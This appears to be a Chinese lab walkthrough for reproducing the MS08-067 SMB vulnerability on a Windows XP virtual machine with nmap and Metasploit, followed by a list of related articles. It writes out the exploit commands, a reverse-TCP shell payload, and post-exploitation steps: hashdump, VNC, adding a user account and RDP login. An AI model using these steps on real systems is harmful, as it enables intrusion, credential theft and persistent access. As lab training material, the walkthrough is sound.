Windows xp Ms08067漏洞复现

准备工作：
虚拟机
kali
Windows xp sp3中文版
先ping双方的ip，以确保双方的网络可以互通
nmap扫描Windows
命令：
cd /usr/share/nmap/scripts
nmap --script=vuln 192.168.XXX.XXX
扫描后有漏洞ms08067

用mts进行攻击
先找漏洞利用：
search 08_067

运用漏洞：
use exploit/windowsexploit/windows/smb/ms08_067_netapi
看参数：
show options

调整参数：
set lhost 192.168.XXX.XXX（本机地址）
set target 34（一定要设置target为34，不要让他自己识别，那样会导致利用不成功）

也可以所有参数都配置：
use exploit/windows/smb/ms08_067_netapi
set set rport 445rhosts （目标地址）
set payload windows/shell/reverse_tcp
set lhost （本机地址）
set target 34

同时靶机符合以下参数：
1、安装完成后，在控制面板中关闭防火墙，关闭自动更新。

2、设置一个文件夹共享，点击我的文档–共享文档处右键— 共享和安全—共享—在网络上共享这个文件夹（共享名可以默认）—确定

3、保证Computer Browser、Server、WorkStation三个服务是开启状态，如果利用的时候失败，这三个服务可能关闭，需要手动打开。

4、保存快照（这个漏洞有时利用成功，有时利用不成功，所以建议保存快照）

攻击靶机：
exploit

就成功获取靶机权限进入靶机：

先截个屏看一下：
screenshot

查密码：
hashdump

进入系统：
shell
看ip：
ipconfig

监视屏幕：
run vnc

添加用户：
net user root123 123456

远程登录：(前提是靶机开放3389端口)
rdesktop -a 192.168.124.132:3389

Windows xp Ms08067漏洞复现相关推荐

MS08-067漏洞复现实验
MS08-067漏洞复现实验实现环境准备: 攻击机:kali(IP:192.168.153.129) 目标靶机:Windows XP(IP:192.168.153.128) 攻击工具:metaspl ...
CNVD-2022-03672/CNVD-2022-10270：向日葵简约版/向日葵个人版for Windows命令执行漏洞复现及修复建议
CNVD-2022-03672/CNVD-2022-10270:向日葵简约版/向日葵个人版for Windows命令执行漏洞复现及修复建议本文仅为验证漏洞,在本地环境测试验证,无其它目的漏洞编号: ...
浅谈Windows XP系统漏洞的封堵
浅谈Windows XP系统漏洞的封堵 2010年11月18日 9号浏览:96次发表评论阅读评论微软WindowsXP自出世以来就在中国市场中获得了广泛好评和客户的认同,它出色的兼容性和 ...
Kali之MSF的MS08-067漏洞复现详解
1.MSF初识: MSF即Metasploit Framework,是一个综合性的渗透测试工具,集成信息收集.漏洞扫描.漏洞利用以及提权等功能的工具. 目前安装的kali都自带MSF,可以直接在图形界 ...
MS08-067 漏洞复现报告
漏洞简介 MS08-067漏洞全称是"Windows Server服务RPC请求缓冲区溢出漏洞",攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote ...
ms08-067漏洞复现
文章目录 ms08-067简介复现实验环境漏洞利用 ms08-067简介 Windows Server服务RPC请求缓冲区溢出漏洞(MS08-067). 漏洞类别:远程溢出 CVE-ID : 2 ...
Ms08067漏洞复现wp
一.实验前准备 1.在虚拟机上搭建好kail 2.在虚拟机上搭建一台Windows xp sp3 英文版二.实验步骤 1.查看两台虚拟机的ip并记录kail:192.168.208.128 xp: ...
[系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
Windows漏洞：MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
Windows XP SP2 (Simplified Chinese MS08_067漏洞复现)
文章目录一.漏洞详情二.靶机搭建 kali Windows XP SP2 (Simplified Chinese ) 三.利用nmap对靶机扫描四.漏洞利用五.总结一.漏洞详情 MS08-0 ...

Windows xp Ms08067漏洞复现

Windows xp Ms08067漏洞复现相关推荐

最新文章

热门文章